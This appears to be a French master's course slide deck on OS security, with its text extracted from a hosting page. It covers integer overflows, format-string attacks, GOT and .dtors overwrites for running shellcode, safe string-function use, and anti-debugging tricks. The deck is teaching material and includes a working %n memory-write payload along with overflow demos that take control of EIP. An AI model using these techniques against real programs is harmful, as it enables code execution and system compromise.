• Aucun résultat trouvé

S´ecurit´e des Syst`emes d’Exploitation : cours 3

N/A
N/A
Protected

Academic year: 2022

Partager "S´ecurit´e des Syst`emes d’Exploitation : cours 3"

Copied!
58
0
0

Texte intégral

(1)

S´ecurit´e des Syst`emes d’Exploitation : cours 3

Fr´ed´eric Gava

Master ISIDIS, Universit´e de Paris-Est Cr´eteil

Cours SESE du M2 ISIDIS

(2)

Plan

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(3)

Plan

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(4)

Plan

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(5)

Plan

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(6)

Plan

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(7)

D´eroulement du cours

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(8)

Integer-Overflow ≡ D´ebordements arithm´etiques (1)

Prenons ce petit programme :

#include<stdio.h>

int main(intargc ,char∗argv []){ inti , s ;

unsigned intu;

printf (”sizeof(int) = %i\n\n”,sizeof(int));

for( i=1; i<argc; i++){ u = s = atoi(argv[i]);

printf (”%s = 0x%x\n”, argv[i], s);

printf (”%s + 1 = 0x%x + 1 = %i\n”, argv[i], s, s+1);

printf (”%s 1 = 0x%x 1 = %i\n”, argv[i], s, s−1);

printf (”%s + 1 = 0x%x + 1 = %u\n”, argv[i], u, u+1);

printf (”%s 1 = 0x%x 1 = %u\n”, argv[i], u, u−1);

printf (”\n”);

} }

(9)

D´ebordements arithm´etiques (2)

Voyons voir pour ”./intof 10 2147483647 2147483648 0xffffffff 0”

sizeof(int) = 4 10 = 0xa

10 + 1 = 0xa + 1 = 11 10 - 1 = 0xa - 1 = 9 10 + 1 = 0xa + 1 = 11 10 - 1 = 0xa - 1 = 9 2147483647 = 0x7fffffff

2147483647 + 1 = 0x7fffffff + 1 = -2147483648 2147483647 - 1 = 0x7fffffff - 1 = 2147483646 2147483647 + 1 = 0x7fffffff + 1 = 2147483648 2147483647 - 1 = 0x7fffffff - 1 = 2147483646

(10)

D´ebordements arithm´etiques (3)

2147483648 = 0x7fffffff

2147483648 + 1 = 0x7fffffff + 1 = -2147483648 2147483648 - 1 = 0x7fffffff - 1 = 2147483646 2147483648 + 1 = 0x7fffffff + 1 = 2147483648 2147483648 - 1 = 0x7fffffff - 1 = 2147483646 0xffffffff = 0x0

0xffffffff + 1 = 0x0 + 1 = 1 0xffffffff - 1 = 0x0 - 1 = -1 0xffffffff + 1 = 0x0 + 1 = 1

0xffffffff - 1 = 0x0 - 1 = 4294967295 0 = 0x0

0 + 1 = 0x0 + 1 = 1 0 - 1 = 0x0 - 1 = -1 0 + 1 = 0x0 + 1 = 1

0 - 1 = 0x0 - 1 = 4294967295

(11)

D´ebordements arithm´etiques (4)

vient du codage des entiers en machines : 4 * 8 = 32 bits ici entiers sign´es ⇒ le bit de poids fort indique le signe⇒ entiers entre 231 et 231 - 1

entiers non sign´es ⇒ entre 0 et 232 - 1

sur les nombres limites ⇒ calcul faux, conversions hasardeuses, etc.

dans le meilleur des cas, le programme part en vrille et se plante ⇒d´eni de service

potentiellement exploitables ⇒ changement d’une variable ou d´ebordement de tampon

parfois tr`es difficile de savoir si un calcul va d´eborder aussi difficile de v´erifier apr`es

de grandes pr´ecautions sont n´ecessaires affecte C/C++ et Java

en Ada, GNAT g´en`ere les v´erifications ⇒ performances presque identiques (de l’ordre de 1% de perte)

(12)

D´ebordements arithm´etiques : exemples

Google bug : recherche dichotomique avec l+2u qu’on peut r´e´ecrire en l+u2l

boucles logarithmiques for(i<n ;i = 0 ;i =∗2). Tourne `a l’infinie si n>limite/2

...

(13)

D´ebordements arithm´etiques : attaque (1)

int myfunction(int∗array,intlen){ int∗myarray, i;

myarray = malloc(lensizeof(int));/∗[1]∗/

if(myarray == NULL){ return−1;

}

for(i=0;i<len;i++){/∗[2]∗/

myarray[i]=array[i];

}

returnmyarray;

}

en [1], la multiplication peut d´eborder ⇒on peut choisir la taille de buffer qu’on souhaite (petit)

ensuite, en [2], la copie d´eborde le buffer (dans le tas, voir les attaques par stack-overflow)

(14)

D´ebordements arithm´etiques : attaque (2)

int catvars (char∗buf1,char∗buf2,unsigned intlen1,unsigned intlen2){ charmybuf[256];

if((len1+len2)>256){/∗[1]∗/

return−1;

}

memcpy(mybuf, buf1, len1);/∗[2]∗/

memcpy(mybuf+len1, buf2, len2);/∗[3]∗/

do some stuff(mybuf);

return0;

}

en [1], le test peut ˆetre contourn´e par un d´ebordement ensuite, on d´eborde sur la pile en [2] et [3]

(15)

D´ebordements arithm´etiques : attaque (3)

int copy something (char∗buf,intlen){ charkbuf[800];

if(len>sizeof(kbuf)){/∗[1]∗/

return−1;

}

returnmemcpy(kbuf, buf, len);/∗[2]∗/

}

si len est n´egatif, le test en [1] est correct

ensuite, en [2], memcpy (3) l’interpr`ete comme unsigned ⇒ tr`es grande valeur et d´ebordement sur la pile

(16)

D´eroulement du cours

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(17)

Introduction (1)

erreur typique :printf(str)`a la place deprintf(”%s”, str) se produit quand on utilise des donn´ees hostiles comme argument de printf (3) ou d’une autre fonction de la famille l’attaquant fournit une chaˆıne avec des instructions de format (% ?)

permet d’afficher le contenu de la pile (avec %x) Exemple format.c :

#include<stdio.h>

int main(intargc,char∗argv[]){ inti;

for(i=1; i<argc; i++) {

printf(argv[i]);

printf(”\n”);∗/ ligne 8∗/

} return 0;

}

(18)

Introduction (2)

$ gdb format (gdb) break 8

Breakpoint 1 at 0x8048398: file format.c, line 8.

(gdb) run "%x %x %x %x %x %x %x %x %x %x"

Starting program: format "%x %x %x %x %x %x %x %x %x %x"

Breakpoint 1, main (argc=2, argv=0xbffff914) at format.c:8 8 printf("\n");

(gdb) next

40171800 80483cd 40171800 40016640 1 bffff8e8 4004295d 2 bffff914 bffff920 6 for (i=1; i<argc; i++) {

(gdb) x/10 $ebp-20

0xbffff874: 0x40171800 0x080483cd 0x40171800 0x40016640 0xbffff884: 0x00000001 0xbffff8e8 0x4004295d 0x00000002 0xbffff894: 0xbffff914 0xbffff920

Ici, pour chaque %x le programme lit 4 octets sur la pile en

pensant y trouver un argument (de type int)⇒ il lit simplement la pile. On peut r´ecup´erer les adresses de retour, les variables locales (y compris des clefs), etc. ⇒mˆeme plus besoin de gdb !

(19)

Introduction (3)

permet d’´ecrire des donn´ees arbitraires `a des adresses arbitraires (avec %n)⇒ aussi dangereux qu’un d´ebordement de tampon

`

a peine plus dur `a exploiter

probl`eme g´en´eral aux fonctions `a nombre de param`etres variables

sp´ecifique `a C/C++

mais voyons cela plus en d´etail (d’apr`es cours de Christophe BLAESS, Christophe GRENIER et Fr´ed´ereric RAYNAL)

(20)

Printf : rappels et d´ecouvertes (1)

Exemple aff.c :

#include<stdio.h>

main(){ inti = 64;

chara = ’a’;

printf(”int : %d %d\n”, i, a);

printf(”char : %c %c\n”, i, a);}

>>gcc aff.c -o aff

>>./aff int : 64 97 char : @ a

Et il existe aussi : %g, %h, %x, le caract`ere . pour indiquer la pr´ecision, %NombreType (comme %5s) pour sp´efichier le nombre de caract`eres `a imprimer, %Num´ero$Type pour sp´ecifier

l’argument exact (exemple : printf(”%2$s %1$s”, ”world”,

(21)

%n, quezaco ? (1)

Voyons la doc (man) : ”The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.”. Cet argument permet d’´ecrire dans une variable de type pointeur, mˆeme lorsqu’il est utilis´e dans une fonction d’affichage ! Fonctionne pour scanf, syslog, etc. Exemple ”printf1.c” :

#include<stdio.h>

main(){

char∗buf = ”0123456789”;

intn;

printf(”%s%n\n”, buf, &n);

printf(”n = %d\n”, n);}

>>gcc printf1.c -o printf1

>>./printf1 0123456789 n = 10

(22)

%n, quezaco ? (1)

Voyons la doc (man) : ”The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.”. Cet argument permet d’´ecrire dans une variable de type pointeur, mˆeme lorsqu’il est utilis´e dans une fonction d’affichage ! Fonctionne pour scanf, syslog, etc. Exemple ”printf1.c” :

#include<stdio.h>

main(){

char∗buf = ”0123456789”;

intn;

printf(”%s%n\n”, buf, &n);

printf(”n = %d\n”, n);

printf(”buf=%s%n\n”, buf, &n);

printf(”n = %d\n”, n);}

>>gcc printf1.c -o printf1

>>./printf1 0123456789

(23)

%n, quezaco ? (2)

Le formatage %n comptabilise donc tous les caract`eres qui

apparaissent dans la chaˆıne de format. En fait, comme le montre le programme printf2, il comptabilise plus que ¸ca :

#include<stdio.h>

main(){ charbuf[10];

intn, x = 0;

snprintf(buf,sizeofbuf, ”%.100d%n”, x, &n);

printf(”l = %d\n”, strlen(buf));

printf(”n = %d\n”, n);}

>>gcc printf2.c -o printf2

>>./printf2 l = 9 n = 100

L’utilisation de la fonction snprintf() force l’´ecriture d’au plus dix octets dans la variable buf. La variable n devrait donc valoir 10. En fait, le format %n compte le nombre de caract`eres qui auraient dˆu ˆetre ´ecrits. Cet exemple illustre que lors de l’´ecriture tronqu´ee

d’une chaˆıne dans un buffer de taille fixe, le format %n ignore cetteSESE : cours 3 19 / 54

(24)

%n, quezaco ? (3)

La chaˆıne de format est d´evelopp´ee avant d’ˆetre recopi´ee.

charbuf[5];

intn, x = 1234;

snprintf(buf,sizeofbuf, ”%.5d%n”, x, &n);

printf(”l = %d\n”, strlen(buf));

printf(”n = %d\n”, n);

printf(”buf = [%s] (%d)\n”, buf,sizeofbuf);

l = 4 n = 5

buf = [0123] (5)

La chaˆıne de format est d´eploy´ee, conform´ement `a ses

”commandes”, ce qui donne ”00000\0”

les variables sont inscrites aux emplacement pr´evus, ce qui se r´esume `a recopier la variable x dans notre exemple. La chaˆıne de caract`eres contient alors ”01234\0”

(25)

Explorer la pile (1)

Le programme ”pile.c” nous aidera `a comprendre le comportement de la fonction printf() vis-`a-vis de la pile : :

#include<stdio.h>

int main(intargc,char∗∗argv){ inti = 1;

charbuffer[64];

chartmp[] = ”\x01\x02\x03”;

snprintf(buffer,sizeofbuffer, argv[1]);

buffer[sizeof(buffer)1] = 0;

printf(”buffer : [%s] (%d)\n”, buffer, strlen(buffer));

printf (”i = %d (%p)\n”, i, &i);}

>>./pile toto buffer : [toto] (4) i = 1 (bffff674)

Ce programme se contente de recopier un argument dans la chaˆıne buffer. Nous avons bien pris soin de ne pas recopier ”trop” de donn´ees et de mettre un caract`ere de fin de chaˆıne afin d’´eviter les risques de d´ebordement de buffers.

(26)

Explorer la pile (2)

(27)

Explorer la pile (3)

>>./pile "123 %x"

buffer : [123 30201] (9) i = 1 (bffff674)

Quels sont les arguments employ´es pour construire la chaˆıne r´esultante ´etant donn´e que nous ne lui en fournissons aucun ? En fait, snprintf() se sert directement dans la pile !

>>./pile "123 %x %x"

buffer : [123 30201 20333231] (18) i = 1 (bffff674)

Le second ”%x” permet d’explorer plus loin dans la pile ⇒ snprintf() cherche les quatre octets situ´es apr`es la variable tmp, le buffer”=123 ”, d’o`u le nombre hexad´ecimal 0x20333231. Pour chaque ”%x”, snprintf() ”se d´eplace” par sauts de quatre octets (unsigned int sur les processeurs ix86) dans buffer. Cette variable joue ainsi un double rˆole : (1) destination pour l’´ecriture et (2) source donn´ees pour les instructions de formatage. Le formatage

”m$” nous permettrai de remonter o`u nous voulons dans la pile !

(28)

Ecrire dans la m´emoire (1)

/∗bug.c∗/

int i = 1;

int main(intargc,char∗argv[]){ charbuf[512];

if(argc != 2)return(−1);

strncpy(buf, argv[1], 511);

printf(buf);

printf(”\ni = %x\n”, i);

}

>>gcc bug.c -o bug

>>./bug chiche chiche

i = 1

On va modifier le contenu de la variable (constante) ”i” `a l’aide du

(29)

Ecrire dans la m´emoire (2)

Il nous faut pr´eablement l’adresse de i (variable globale). On peut la trouver dans le code assembl´e, plus pr´ecis´ement dans les arguments du dernier call effectu´e par la fonction printf :

(gdb) disas main

Dump of assembler code for function main:

...

0x080484ab <main+75>: mov 0x80496bc,%eax | sans le $ devant la valeur, c’est le contenu de l’adresse qui est mis dans eax

0x080484b0 <main+80>: push %eax | push du deuxi`eme argument de la fonction printf ( i )

0x080484b1 <main+81>: push $0x80485a | push de la cha^ıne de format de la fonction printf

0x080484b6 <main+86>: call 0x8048358 <printf> | appel de la fonction printf

0x080484bb <main+91>: add $0x10,%esp

0x080484be <main+94>: leave | Epilogue du main 0x080484bf <main+95>: ret |

End of assembler dump.

(30)

Ecrire dans la m´emoire (3)

On ne peut qu’´ecrire sur la stack, il faut donc placer l’adresse de i sur la stack ⇒ mettre l’adresse de i au d´ebut de l’argument pass´e au programme. Structure de la stack :

|---|

| EIP |

|---|

| EBP |

|---| -- stack frame du main

| |

| buf[512] |

|---|

| *buf |

|---|

| EIP |

|---|

| EBP |

|---| -- stack frame printf

|Variables |

| locales |

| printf |

|---|

(31)

Ecrire dans la m´emoire (4)

Il nous faudra donc connaitre l’adresse du buffer pour connaitre le nombre ”n” avec lequel on va pouvoir y ecrire avec le

>> ( for (( val = 1; val < 100; val++ )); do echo -n "val = $val " ; ./bug val = 6 ABCD44434241

>> ./bug ’ABCD%6$x’

ABCD44434241 i = 1

./bug ”%2$x”’ va afficher en hexadecimal le contenu du 2e double mot de la pile a l’appel du printf. Donc le debut de notre buffer est le 6ieme ”parametre” de printf (cela peut varier en fonction du compilateur et de la libc).

Il suffit d’´ecrire l’adresse de i et d’utiliser l’op´erateur n `a la place de x et le tour est jou´e...

(32)

Ecrire dans la m´emoire (5)

Il nous faudra donc connaitre l’adresse du buffer pour connaitre le nombre ”n” avec lequel on va pouvoir y ecrire avec le

>>./bug ‘python -c ’print "\xbc\x96\x04\x08%6$n"’‘

l i = 4

>>./bug ‘python -c ’print "\xbc\x96\x04\x08%200x%6$n"’‘

bffff847 i = cc

Nous avons donc plac´e l’adresse de i dans le buffer et on y ´ecrit avec ’%6$n’. Comme nous n’avons ecrit que 4 caracteres (l’adresse de i), nous allons ´ecrire la valeur de 4 dans l’adresse point´ee par le debut du buffer, donc dans i. Dans le deuxieme exemple nous avons affiche les 200 caracteres du haut de la pile, plus notre adresse, soit 204 octets (0x20 = espace) : i vaut ensuite 0xCC = 204...

(33)

D´eroulement du cours

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(34)

Des sections sp´ecifiques (1)

Nous avons vu les d´ebordements de buffer et les bogues de format qui ont tout 2 des exploitations possibles (notamment l’´ecrasement de la valeur de retour d’une fonction). Nous allons maintenant pr´esenter l’utilisation de 2 sections sp´ecifiques pour les attaques : la Global Offset Table (GOT, (section .ctors)) et les destruteurs de la libc (DTOR, section .dtors).

Pour obtenir les adresses des differents elements de ces tables on utilise objdump.

(35)

Des sections sp´ecifiques (2)

1 GOT : A la compillation le programme ne sait pas ou seront charg´ees les librairies partagees ; Le Dynamic Linker va se charger de mettre les adresses reelles des fonctions partagees dans cette table afin que le programme puisse y acceder.

Cette zone est ideale pour ecrire l’adresse de notre shellcode.

Il suffit d’ecrire a la place de l’adresse de la fonction printf (par exemple) l’adresse de notre shellcode pour qu’au

prochain appel de cette fonction l’execution soit redirigee sur notre shellcode.

2 DTOR : la libc fournit un mecanisme de constructeur et de destructeur. Ce sont des listes de fonctions qui sont appellees successivement au demarage et a la fin de l’execution du programme. Si on ecrit l’adresse de notre shellcode dans la liste des destructeurs, ca aurait pour effet de le faire executer a la fin du programme.

(36)

Des sections sp´ecifiques (3)

Exemple cdtors.c :

voidentree(void) attribute ((constructor));

voidsortie(void) attribute ((destructor));

int main(){printf(”dans main()\n”);}

voidentree(void){printf(”dans entree()\n”);}

voidsortie(void){printf(”dans sortie()\n”);}

>>gcc cdtors.c -o cdtors

>>./cdtors dans entree() dans main() dans sortie()

(37)

Des sections sp´ecifiques (4)

(adresses en little endian) :

>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors:

804949c ffffffff dc830408 00000000 ...

>>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors:

80494a8 ffffffff f0830408 00000000 ...

et

>>objdump -t cdtors | egrep "entree|sortie"

080483dc g F .text 00000012 entree

080483f0 g F .text 00000012 sortie

Ces sections contiennent les adresses des fonctions `a ex´ecuter en entr´ee ou sortie, encadr´ees par 0xffffffff et 0x00000000.

(38)

Comment s’en servir (1)

L’exploitation consiste `a remplacer l’adresse d’une fonction pr´esente dans une des sections par celle de la fonction que nous voulons ex´ecuter. Au cas o`u ces sections sont vides, il suffit

d’´ecraser le 0x00000000 qui marque la fin de la section, ce qui aura pour effet de provoquer un ”segmentation fault” (plus le

0x00000000 ⇒ les quatre octets suivants seront interpr´et´es `a leur tour comme une adresse de fonction, ce qui n’est probablement pas le cas).

La section ”.dtors” est la plus simple `a exploiter :⇒ pas le temps de faire quoique ce soit avant la section .ctors. D’une mani`ere g´en´erale, il faut ´ecraser l’adresse qui se situe quatre octets apr`es le d´ebut de la section (le 0xffffffff) pour que notre fonction soit ex´ecut´ee en premier : s’il n’y avait aucune adresse, ceci ´ecrase le 0x00000000 et dans le cas contraire, la premi`ere fonction ex´ecut´ee

(39)

Comment s’en servir (2)

Ok, mais quelle fonction (shellcode) `a ex´ecuter ? Il suffit de passer un shellcode au programme vuln´erable (soit par l’interm´ediaire de argv, soit par une variable d’environnement) et d’aller ”pointer”

dessus au moment opportun pour se retrouver avec un shell.

On utilise ”un execve(”./vuln”,arg,environ) ;” avec ”extern char

**environ” ⇒ quand on un programme s’apelle r´ecursivement lui-mˆeme via execve, les adresses allou´ees pour arg et argv n’´evoluent plus apr`es le deuxi`eme appel...on peut donc y mettre plus facilement le shellcode, et les adresses/taille des buffers car ces infos seront `a des adresses fixes.

(40)

D´eroulement du cours

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(41)

A faire

a faire...

(42)

D´eroulement du cours

1 D´ebordements arithm´etiques

2 Bug de format

3 Exploitation des sections

4 Retro-Ing´enieurie

5 Protections

(43)

Fonctions vuln´erables

strcpy,strcat,gets ⇒ strncpy, strncat, fgets sprintf et vsprintf ⇒ snprintf

strlen ⇒ s’assurer qu’on aura bien un NIL

scanf (and quo) ⇒ toujours contrˆoler la taille (surtout avec

%s)

realpath ⇒ ne marche pas de toute fa¸con

getopt, getpass, strecpy, streadd, strtrns et getwd

getopt, getpass, streadd, strecpy et strtrns⇒ avec pr´ecautions getwd ⇒ le tableau doit avoir au moins PATH MAX

caract`eres

les macros de select ne v´erifient pas fd ⇒FD SET(), FD CLR() et FD ISSET()

(44)

Quelques pr´ecautions (1)

toujours penser `a compter /0 dans la taille

attention aux indices de boucle, il est facile de d´eborder d’un octet ⇒´ecrasement du pointeur de frame (attaque

off-by-one) :

voidf (){ charbuffer[256];

inti;

for(i=0; i<=256; i++){ buffer[i] = ...

(45)

Quelques pr´ecautions (2)

attention lorsque la taille d’une donn´ee est fournie par l’ext´erieur. Il faut la v´erifier :

charbuffer[256];

inti;

fread(&i,sizeof(int), 1, fd);

fread(buffer,sizeof(char), i, fd);// overflow if i>256

idem pour le signe, `a v´erifier

charbuffer[256];

inti;

fread(&i,sizeof(int), 1, fd);

if(i<256){fread(buffer,sizeof(char), i, fd);// overflow if i<0

(46)

Quelques pr´ecautions : attention aux strn* ! (1)

Paru dans le magazine MISC num´ero 3

(http://www.ed-diamond.com). Strncpy() et consort n’ont pas

´et´e con¸cus initialement pour la s´ecurit´e. Leurs s´emantique peut ˆetre ”fatale” :

#include<string.h>

func(char∗sm){ charbuffer[12];

strcpy(buffer, sm);

}

main(intargc,char∗argv[]){ charentry2[16];

charentry1[8];

if(argc>2){

strncpy(entry1, argv[1],sizeof(entry1));

strncpy(entry2, argv[2],sizeof(entry2));

func(entry1);}

(47)

Quelques pr´ecautions : attention aux strn* ! (2)

$ ./vuln1 BBBBBBBB AAAAAAAAAAAA Segmentation fault (core dumped)

$ gdb -c core -q

Core was generated by ‘./vuln1 BBBBBBBB AAAAAAAAAAAA’.

Program terminated with signal 11, Segmentation fault.

#0 0x41414141 in ?? ()

strncpy() copie au maximum n octets du buffer source dans le buffer de destination MAIS aussi que s’il n’y a pas de null byte dans ces n premiers octets : la fonction n’ajoute pas d’elle-mˆeme ce null byte. La fonction strncpy() ne garantit donc pas que la chaˆıne soit termin´ee par octet NULL.

L’adresse de retour de la fonction func() a ´et´e ´ecras´ee par les

”AAAA” ce qui nous donne le contrˆole sur %eip (le registre Instruction Pointer) : nos deux buffers entry1[] et entry2[] ´etant plac´es de fa¸con adjacente en m´emoire, la fonction func() copie le buffer entry1[]+entry2[] (au lieu de seulement entry1[], soit 8+16=24 octets au lieu des 12 pr´evus) dans le tableau buffer[], ce qui provoque le d´ebordement.

(48)

Quelques pr´ecautions : attention aux strn* ! (3)

Solution, ajouter manuellement l’octet NULL dans le buffer destination :

strncpy(dest, src,sizeof(dest)−1);

dest[sizeof(dest)−1] = ’\0’;

Remarque : en fait il n’est pas n´ecessaire d’ajouter le ”/0”

manuellement si le buffer dest est d´efinit static ou a ´et´e allou´e avec la fonction calloc() car le contenu de tels buffers est mis `a 0 lors de leur allocation. Il est cependant tr`es conseill´e de le faire pour ´eviter des erreurs `a la relecture du code.

(49)

Quelques pr´ecautions : attention aux strn* ! (4)

Autre exemple, le poisoned NULL byte. La fonction strncat() place toujours un null byte `a la fin du buffer destination :

#include<stdio.h>

#include<string.h>

func(char∗sm){

charbuffer[128]=”kab00m!!”;

charentry[1024];

strncpy(entry, sm,sizeof(entry)−1);

entry[sizeof(entry)−1] = ’\0’;

strncat(buffer, entry,sizeof(buffer)−strlen(buffer));

printf (”%s\n”, buffer);

}

main(intargc,char∗argv[]){ if(argc>1) func(argv[1]);

}

(50)

Quelques pr´ecautions : attention aux strn* ! (5)

$ ./vuln2 ‘perl -e ’print "A"x120’‘

kab00m!!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

$ gdb -c core -q

Core was generated by ‘./vuln2

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA’.

Program terminated with signal 11, Segmentation fault.

#0 0x41414141 in ?? ()

En fait, si un octet NULL est toujours ajout´e avec la fonction strncat(), il ne faut pas le comptabiliser dans la longueur sp´ecifi´ee !

(51)

Quelques pr´ecautions : attention aux strn* ! (5)

Dans notre programme, la cons´equence est que si l’on tente de concat´ener trop d’octets, un octet NULL est ajout´e un octet trop loin, soit apr`es notre buffer. Il s’agit donc d’un cas d’off-by-one overfow. Cet octet suppl´ementaire ´ecrase le dernier octet 36/92 (puisque l’architecture x86 fonctionne en Little Endian) du frame pointer %ebp sauvegard´e. En effet, le tableau buffer[] ´etant d´efini en premier dans la fonction, il est donc ajout´e dans la frame juste dessus le pointeur de frame %ebp. Utilisation correcte :

strncat(dest, src, sizeof(dest)−strlen(dest)−1);

(52)

Protection contre le d´esassemblage

Les protections ne peuvent que ralentir l’analyse, jamais l’empˆecher Saut au milieu d’une instruction ⇒ brise l’alignement entre

l’ex´ecution et le d´esassemblage

jmp antidebug + 2 antidebug:

.short 0xc606

movl $0x0, %eax => antidebug + 2 xorl %eax, %eax

Le d´esassemblage ne fera pas apparaˆıtre les deux derni`eres instructions (on rep`ere 0xc606 avec l’´echange dˆu au codage little endian) :

$ objdump -d a.out

804833c: eb 02 jmp 0x8048340 804833e: 06 push %es

804833f: c6 b8 00 00 00 00 31 movb $0x31,0x0(%eax)

(53)

Suppression des symboles

Voir avec ”nm” et supprimer avec ”strip”.

$ nm str

080495b8 D _DYNAMIC

08049694 D _GLOBAL_OFFSET_TABLE_

08048584 R _IO_stdin_used w _Jv_RegisterClasses 08049684 d __CTOR_END__

08049680 d __CTOR_LIST__

...

080483fc T main U memset@@GLIBC_2.0 080495b4 d p.0 U printf@@GLIBC_2.0 U scanf@@GLIBC_2.0 U strcmp@@GLIBC_2.0

$strip str ; nm str nm: str: no symbols

(54)

Suppression des sections

ELF Kickers ⇒manipulation des fichiers ELF :

$ strip str

$ objdump -x str

str: file format elf32-i386 str

architecture: i386, flags 0x00000112:

...

voir feuille (7)

$ sstrip str

$ objdump -x str ...

voir feuille (7)

(55)

Une pile al´eatoire (1)

Pour ´eviter que certains programmes ne soient facilement

exploitables, il y a une petite protection : a chaque lancement du prog, l’adresse de la pile change. Exemple :

main(){

char buffer[1024];

printf(”buffer=%p\n”, buffer);

gets(buffer); /∗ vulnerable∗/

return0;

}

(Une autre solution sur

http://www.false.com/security/linux/index.html)

(56)

Une pile al´eatoire (2)

#include<unistd.h>

#include<fcntl.h>

#include<stdlib.h>

real main(){ charbuffer[1024];

printf(”buffer=%p\n”, buffer);

gets(buffer);/∗insecure!∗/

return0;} main(){

if(getenv(”RANDOM STACK”)){ void∗x;intfd;

size t n; ssize t m;

charbuffer[sizeof(size t)];

fd = open(”/dev/urandom”, O RDONLY);

read(fd, buffer,sizeof(size t));

close(fd);

n =∗(size t∗)buffer;

n %= atoi(getenv(”RANDOM STACK”));

(57)

Protections contre l’analyse

Sous Linux, les d´ebogueurs reposent sur la fonction ptrace qui est adapt´e aux programmes qui se laissent observer ⇒ un programme hostile peut le d´etecter :

#include<sys/ptrace.h>

if( ptrace(PTRACE TRACEME, 0, NULL, NULL)<0){while(1);}

⇒ remplacement de l’appel ptrace grˆace `a un module noyau pour qu’il mente Le programme peut aussi essayer de d´etecter des breakpoints (codeop 0xcc), par exemple en calculant une somme de contrˆole ⇒ utilisation de ktrace (tra¸cage par le noyau). Le programme peut aussi lui mˆeme lever l’interruption 3 et rattraper SIGTRAP pour fonctionner ⇒ c’est le d´ebogueur qui le rattrape

⇒ gdb s’en sort automatiquement

(58)

A la semaine prochaine

Références

Documents relatifs

1. On peut modifier la variante du cours pour m´emoriser sur le stack aussi le chemin de retour. ` A chaque retour correspond exactement un aller, ce qui fait que l’arˆete e

a) Par la formule d’Euler on sait que tous les arbres couvrants ont |V | − 1 arˆetes. Considerer les coˆ uts des arˆetes de T 1 et T 2 de mani`ere croissante, soit e la

Donc on donne ` a A comme input une formule CNF F , et il retournera TRUE si F est satisfaisable et FALSE sinon (et son temps est polynomial en la taille de F ). Si A retourne

Segmentation simple Segmentation avec pagination Conclusion Principe g´ en´ eral Mise en œuvre Avantages et

Dans un premier temps, on supposera que seulement deux structures de donn´ees sont mises en oeuvre pour impl´ementer la gestion des fichiers ouverts dans l’ensemble du syst`eme :. –

Tous les entiers inf´ erieurs ` a 576 et remplissant cette condi- tion figurent dans l’un ou l’autre des tableaux pr´ ec´ edents, ce qui permet d’affirmer :.. Le plus petit

[r]

– Ilias Amrani hilias.amrani@epfl.chi – Jan Brunner hjan.brunner@epfl.chi – Ratiba Djelid hratiba.djelid@epfl.chi – M´elanie Favre hmelanie.favre@epfl.chi – Nicolas